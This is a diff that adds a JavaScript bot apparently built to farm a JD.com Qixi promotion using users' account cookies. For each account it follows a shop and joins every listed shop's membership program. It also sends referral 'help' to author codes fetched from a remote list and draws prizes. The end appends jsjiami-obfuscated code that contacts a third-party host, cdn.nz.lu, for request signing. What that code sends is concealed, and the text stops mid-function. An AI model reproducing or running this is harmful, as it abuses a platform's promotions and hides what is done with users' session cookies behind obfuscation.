ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}`; + $.randomCode = random(1000000, 9999999); + $.activityId = "dz32b9e7834db5821a2c983c10d854"; + $.activityShopId = "1000003835"; + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/jul/qixiSecond/activity?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=`; + await member(); + await $.wait(3000); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。`; + } + } + } + if (message !== "") { + if ($.isNode()) { + await notify.sendNotify($.name, message, "", `\n`); + } else { + $.msg($.name, "有点儿收获", message); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null; + lz_cookie = {}; + await getFirstLZCK(); + await getToken(); + await task("dz/common/getSimpleActInfoVo", `activityId=${$.activityId}`, 1); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> " + $.authorCode); + await taskaccessLog("common/accessLogWithAD", `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await $.wait(1000); + await task("wxActionCommon/getUserInfo", `pin=${encodeURIComponent($.secretPin)}`, 1); + if ($.index === 1) { + await task("jul/qixiSecond/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1); + } else { + await task("jul/qixiSecond/activityContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`); + } + $.log("关注店铺"); + await task("jul/qixiSecond/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=23&shareUuid=${encodeURIComponent($.authorCode)}`); + await $.wait(1000); + await task("taskact/common/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + await $.wait(1000); + await task("jul/qixiSecond/initOpenCard", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}`); + $.log("加入店铺会员"); + if ($.openCardList) { + for (const vo of $.openCardList) { + console.log(vo.openStatus) + $.log(`>>> 去加入 ${vo.venderId}`); + if (vo.openStatus === false) { + $.log(`>>> 准备加入会员`); + await getShopOpenCardInfo({ venderId: `${vo.venderId}`, channel: "401" }, vo.venderId); + await bindWithVender({ venderId: `${vo.venderId}`, bindByVerifyCodeFlag: 1, registerExtend: {}, writeChildFlag: 0, activityId: $.openCardActivityId, channel: 401 }, vo.venderId); + await $.wait(1000); + } else { + $.log(`>>> 已经是会员`); + } + } + } else { + $.log("没有获取到对应的任务。\n"); + } + await $.wait(1000); + await task("jul/qixiSecond/initOpenCard", `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}`); + console.log("去助力 -> " + $.authorCode); + // await task("linkgame/assist/status", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`); + // await task("linkgame/assist", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`); + // await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + + // await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + // console.log('任务 -> ') + // await $.wait(2000) + // await task('opencard/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await $.wait(2000) + // await task('linkgame/sendAllCoupon', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await getFirstLZCK() + // await getToken(); + // console.log('抽奖 -> ') + // await $.wait(2000) + // await task('linkgame/draw', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + // console.log('100 -> ') + // await getFirstLZCK() + // await getToken(); + await $.wait(2000) + // await task('linkgame/draw/record', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + await task('jul/qixiSecond/draw', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case "dz/common/getSimpleActInfoVo": + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityType = data.data.activityType; + // console.log($.venderId) + break; + case "wxActionCommon/getUserInfo": + break; + case "jul/qixiSecond/activityContent": + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`); + $.log("-------------------"); + if ($.index === 1) { + ownCode = data.data.actorUuid; + console.log(ownCode); + } + $.actorUuid = data.data.actorUuid; + } else { + $.log("活动已经结束"); + } + break; + case "jul/qixiSecond/initOpenCard": + $.openCardList = data.data.openInfo; + $.openCardStatus = data.data.allOpenCard; + // console.log(data) + break; + case "jul/qixiSecond/saveTask": + console.log(data); + break; + case "linkgame/sign": + console.log(data); + break; + case "opencard/addCart": + if (data.data) { + console.log(data.data); + } + break; + case "linkgame/sendAllCoupon": + if (data.data) { + console.log(data.data); + } + + break; + case "interaction/write/writePersonInfo": + console.log(data); + break; + case "jul/qixiSecond/draw": + console.log(data); + break; + case "linkgame/draw/record": + console.log(data.data); + break; + case "linkgame/assist/status": + $.log(JSON.stringify(data)); + break; + case "linkgame/assist": + $.log(JSON.stringify(data)); + break; + case "opencard/help/list": + $.log(JSON.stringify(data)); + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function taskaccessLog(function_id, body, isCommon = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + // console.log(resp); + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie};`; + for (let sk of resp["headers"]["set-cookie"]) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1); + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + "=" + lz_cookie[vo] + ";"; + } + } + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + }); + }); +} + +function getAuthorCodeList(url) { + return new Promise((resolve) => { + const options = { + url: `${url}?${new Date()}`, + timeout: 10000, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88", + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + // $.log(err) + $.getAuthorCodeListerr = false; + } else { + if (data) data = JSON.parse(data); + $.getAuthorCodeListerr = true; + } + } catch (e) { + $.logErr(e, resp); + data = null; + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: "lzdz1-isv.isvjcloud.com", + Accept: "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + Origin: "https://lzdz1-isv.isvjcloud.com", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: "keep-alive", + Referer: $.activityUrl, + Cookie: $.cookie, + }, + body: body, + }; +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: "lzdz1-isv.isvjcloud.com", + Accept: "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + Origin: "https://lzdz1-isv.isvjcloud.com", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: "keep-alive", + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1`, + }; + return new Promise((resolve) => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (resp["headers"]["Set-Cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (data) { + data = JSON.parse(data); + if (data.result) { + $.log(`你好:${data.data.nickname}`); + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}`; + } else { + $.log(data.errorMessage); + } + } else { + $.log("京东返回了空数据"); + } + $.cookie = cookie + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function getFirstLZCK() { + return new Promise((resolve) => { + $.get( + { + url: $.activityUrl, + headers: { + "user-agent": $.isNode() ? process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : require("./USER_AGENTS").USER_AGENT : $.getdata("JDUA") ? $.getdata("JDUA") : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }, + (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + if (resp["headers"]["Set-Cookie"]) { + cookie = `${originCookie}`; + if ($.isNode()) { + for (let sk of resp["headers"]["set-cookie"]) { + cookie = `${cookie}${sk.split(";")[0]};`; + } + } else { + for (let ck of resp["headers"]["Set-Cookie"].split(",")) { + cookie = `${cookie}${ck.split(";")[0]};`; + } + } + } + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + } + ); + }); +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)", + "Accept-Language": "zh-Hans-CN;q=1", + "Accept-Encoding": "gzip, deflate, br", + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05`, + }; + return new Promise((resolve) => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token; + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }); + }); +} +function random(min, max) { + return Math.floor(Math.random() * (max - min)) + min; +} +function getUUID(format = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = (Math.random() * 16) | 0, + v = c == "x" ? r : (r & 0x3) | 0x8; + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36); + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + }, + }; + return new Promise((resolve) => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log("京东返回了空数据"); + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }); + }); +} +// prettier-ignore +var _0xod2='jsjiami.com.v6',_0xod2_=['‮_0xod2'],_0x2521=[_0xod2,'\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x51\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x61\x30\x70\x69\x59\x32\x67\x3d','\x64\x30\x6c\x71\x59\x55\x30\x3d','\x53\x46\x6c\x48\x5a\x6e\x41\x3d','\x53\x31\x4e\x45\x56\x45\x6f\x3d','\x65\x57\x70\x36\x51\x6b\x59\x3d','\x56\x6b\x4e\x4a\x54\x46\x6b\x3d','\x57\x6d\x5a\x6b\x57\x47\x38\x3d','\x62\x55\x5a\x70\x5a\x32\x34\x3d','\x65\x6e\x52\x6a\x65\x47\x4d\x3d','\x53\x46\x52\x42\x52\x45\x51\x3d','\x63\x30\x52\x74\x63\x6b\x34\x3d','\x64\x47\x4e\x32\x64\x6d\x6f\x3d','\x51\x6b\x56\x52\x64\x45\x30\x3d','\x64\x6e\x5a\x61\x51\x58\x4d\x3d','\x57\x57\x56\x77\x54\x31\x63\x3d','\x4f\x47\x46\x6b\x5a\x6d\x49\x3d','\x61\x6d\x52\x66\x63\x32\x68\x76\x63\x46\x39\x74\x5a\x57\x31\x69\x5a\x58\x49\x3d','\x4f\x53\x34\x79\x4c\x6a\x41\x3d','\x61\x6d\x52\x7a\x61\x57\x64\x75\x4c\x6d\x4e\x6d','\x57\x57\x78\x42\x64\x6d\x67\x3d','\x59\x58\x52\x70\x63\x46\x6f\x3d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x6e\x4e\x76\x62\x67\x3d\x3d','\x55\x56\x52\x45\x52\x31\x59\x3d','\x56\x57\x5a\x6a\x61\x32\x59\x3d','\x64\x30\x64\x35\x63\x32\x30\x3d','\x5a\x56\x42\x70\x59\x55\x34\x3d','\x61\x6d\x56\x6c\x62\x45\x77\x3d','\x64\x56\x56\x69\x63\x6d\x6f\x3d','\x5a\x30\x52\x43\x64\x56\x67\x3d','\x62\x31\x52\x42\x62\x6b\x73\x3d','\x59\x6e\x5a\x34\x62\x6b\x49\x3d','\x53\x46\x4a\x46\x59\x32\x51\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x64\x58\x70\x79\x59\x55\x34\x3d','\x53\x45\x39\x77\x52\x46\x45\x3d','\x62\x48\x4e\x72\x63\x45\x55\x3d','\x61\x45\x74\x35\x54\x6b\x4d\x3d','\x5a\x57\x35\x32','\x55\x30\x6c\x48\x54\x6c\x39\x56\x55\x6b\x77\x3d','\x55\x57\x31\x50\x63\x6c\x51\x3d','\x64\x55\x4a\x30\x62\x6b\x63\x3d','\x63\x31\x56\x47\x52\x45\x34\x3d','\x5a\x6d\x78\x76\x62\x33\x49\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6a\x5a\x47\x34\x75\x62\x6e\x6f\x75\x62\x48\x55\x76\x5a\x32\x56\x30\x61\x44\x56\x7a\x64\x41\x3d\x3d','\x61\x31\x6c\x51\x52\x6c\x49\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x63\x6c\x5a\x56\x62\x46\x6b\x3d','\x56\x30\x56\x31\x51\x6c\x49\x3d','\x63\x57\x5a\x48\x54\x48\x51\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x52\x55\x64\x6f\x52\x33\x63\x3d','\x55\x6b\x52\x32\x56\x32\x73\x3d','\x59\x56\x4e\x6c\x52\x30\x4d\x3d','\x64\x31\x4e\x4f\x55\x48\x63\x3d','\x63\x33\x5a\x71\x53\x30\x67\x3d','\x52\x55\x78\x75\x63\x56\x59\x3d','\x56\x47\x64\x6c\x62\x57\x38\x3d','\x59\x58\x4e\x33\x59\x33\x59\x3d','\x51\x6b\x39\x58\x62\x58\x45\x3d','\x54\x6b\x70\x44\x59\x6d\x73\x3d','\x61\x33\x70\x47\x57\x45\x55\x3d','\x53\x47\x46\x48\x56\x57\x59\x3d','\x63\x6e\x42\x56\x52\x58\x41\x3d','\x59\x58\x42\x70\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74','\x4b\x69\x38\x71','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x39\x68\x63\x48\x42\x70\x5a\x44\x31\x71\x5a\x46\x39\x7a\x61\x47\x39\x77\x58\x32\x31\x6c\x62\x57\x4a\x6c\x63\x69\x5a\x6d\x64\x57\x35\x6a\x64\x47\x6c\x76\x62\x6b\x6c\x6b\x50\x57\x64\x6c\x64\x46\x4e\x6f\x62\x33\x42\x50\x63\x47\x56\x75\x51\x32\x46\x79\x5a\x45\x6c\x75\x5a\x6d\x38\x6d\x59\x6d\x39\x6b\x65\x54\x30\x3d','\x57\x6e\x6c\x76\x61\x57\x73\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x4a\x6d\x4e\x73\x61\x57\x56\x75\x64\x44\x31\x49\x4e\x53\x5a\x6a\x62\x47\x6c\x6c\x62\x6e\x52\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x50\x54\x6b\x75\x4d\x69\x34\x77\x4a\x6e\x56\x31\x61\x57\x51\x39\x4f\x44\x67\x34\x4f\x44\x67\x3d','\x5a\x56\x64\x6b\x55\x6d\x55\x3d','\x52\x56\x4e\x31\x65\x57\x6f\x3d','\x55\x30\x56\x5a\x65\x6c\x6f\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x56\x56\x56\x4a\x52\x41\x3d\x3d','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x51\x55\x52\x4a\x52\x41\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x53\x55\x4e\x55\x55\x47\x59\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x7a\x61\x47\x39\x77\x62\x57\x56\x74\x59\x6d\x56\x79\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74\x4c\x33\x4e\x6f\x62\x33\x42\x6a\x59\x58\x4a\x6b\x4c\x7a\x39\x32\x5a\x57\x35\x6b\x5a\x58\x4a\x4a\x5a\x44\x30\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x67\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x54\x47\x46\x4e\x59\x32\x34\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x56\x63\x6d\x77\x3d','\x5a\x6b\x6c\x5a\x63\x57\x77\x3d','\x5a\x46\x4e\x51\x64\x45\x59\x3d','\x5a\x56\x68\x4e\x5a\x58\x6f\x3d','\x5a\x32\x56\x30','\x56\x45\x5a\x6f\x57\x57\x38\x3d','\x64\x57\x4e\x32\x61\x6d\x45\x3d','\x52\x55\x4e\x7a\x56\x6e\x6b\x3d','\x62\x47\x39\x6e','\x63\x47\x46\x79\x63\x32\x55\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x41\x3d\x3d','\x53\x6c\x70\x42\x5a\x6c\x63\x3d','\x53\x46\x46\x44\x5a\x45\x59\x3d','\x62\x48\x56\x55\x63\x6d\x51\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x62\x6d\x4a\x71\x63\x6d\x38\x3d','\x55\x58\x52\x47\x61\x56\x67\x3d','\x52\x46\x6c\x31\x63\x57\x63\x3d','\x54\x57\x5a\x44\x62\x6d\x38\x3d','\x59\x6e\x5a\x59\x57\x46\x6f\x3d','\x56\x6b\x6c\x55\x63\x46\x51\x3d','\x51\x33\x46\x4c\x51\x6c\x67\x3d','\x56\x56\x4e\x76\x5a\x45\x59\x3d','\x52\x47\x6c\x32\x54\x58\x59\x3d','\x56\x48\x6c\x6e\x5a\x6d\x30\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x49\x3d','\x55\x32\x64\x74\x57\x46\x59\x3d','\x5a\x6d\x35\x42\x61\x32\x6b\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x38\x3d','\x62\x47\x52\x52\x62\x32\x30\x3d','\x54\x55\x70\x53\x63\x45\x63\x3d','\x54\x55\x4e\x6f\x53\x6c\x59\x3d','\x57\x47\x6c\x4b\x63\x6c\x63\x3d','\x6a\x73\x6a\x4b\x7a\x71\x69\x44\x61\x6d\x59\x69\x46\x2e\x52\x4a\x63\x6f\x4f\x65\x6d\x2e\x76\x51\x36\x4b\x43\x62\x3d\x3d'];if(function(_0x2277b4,_0x973061,_0x28df6a){function _0x5bdc51(_0x41f15a,_0x1112ff,_0x8c36a8,_0x1f3f77,_0x1ecf84,_0x5be323){_0x1112ff=_0x1112ff>>0x8,_0x1ecf84='po';var _0x2744bc='shift',_0x2fe2d3='push',_0x5be323='‮';if(_0x1112ff<_0x41f15a){while(--_0x41f15a){_0x1f3f77=_0x2277b4[_0x2744bc]();if(_0x1112ff===_0x41f15a&&_0x5be323==='‮'&&_0x5be323['length']===0x1){_0x1112ff=_0x1f3f77,_0x8c36a8=_0x2277b4[_0x1ecf84+'p']();}else if(_0x1112ff&&_0x8c36a8['replace'](/[KzqDYFRJOeQKCb=]/g,'')===_0x1112ff){_0x2277b4[_0x2fe2d3](_0x1f3f77);}}_0x2277b4[_0x2fe2d3](_0x2277b4[_0x2744bc]());}return 0xde733;};return _0x5bdc51(++_0x973061,_0x28df6a)>>_0x973061^_0x28df6a;}(_0x2521,0x136,0x13600),_0x2521){_0xod2_=_0x2521['length']^0x136;};function _0x219b(_0x19cca3,_0xd01416){_0x19cca3=~~'0x'['concat'](_0x19cca3['slice'](0x1));var _0x5e241a=_0x2521[_0x19cca3];if(_0x219b['SQLhKl']===undefined&&'‮'['length']===0x1){(function(){var _0x2a4157;try{var _0x1a3b6e=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x2a4157=_0x1a3b6e();}catch(_0x5649f7){_0x2a4157=window;}var _0x41452e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2a4157['atob']||(_0x2a4157['atob']=function(_0x2e050a){var _0x44c966=String(_0x2e050a)['replace'](/=+$/,'');for(var _0xd76250=0x0,_0x14d201,_0x5e06c3,_0x19370a=0x0,_0x2309e9='';_0x5e06c3=_0x44c966['charAt'](_0x19370a++);~_0x5e06c3&&(_0x14d201=_0xd76250%0x4?_0x14d201*0x40+_0x5e06c3:_0x5e06c3,_0xd76250++%0x4)?_0x2309e9+=String['fromCharCode'](0xff&_0x14d201>>(-0x2*_0xd76250&0x6)):0x0){_0x5e06c3=_0x41452e['indexOf'](_0x5e06c3);}return _0x2309e9;});}());_0x219b['cHEEak']=function(_0x1d83d8){var _0x5d1157=atob(_0x1d83d8);var _0x557fcf=[];for(var _0xa1d923=0x0,_0x302be1=_0x5d1157['length'];_0xa1d923<_0x302be1;_0xa1d923++){_0x557fcf+='%'+('00'+_0x5d1157['charCodeAt'](_0xa1d923)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x557fcf);};_0x219b['yVqUlS']={};_0x219b['SQLhKl']=!![];}var _0x1eab5b=_0x219b['yVqUlS'][_0x19cca3];if(_0x1eab5b===undefined){_0x5e241a=_0x219b['cHEEak'](_0x5e241a);_0x219b['yVqUlS'][_0x19cca3]=_0x5e241a;}else{_0x5e241a=_0x1eab5b;}return _0x5e241a;};function getShopOpenCardInfo(_0x427ea7,_0xd8a74){var 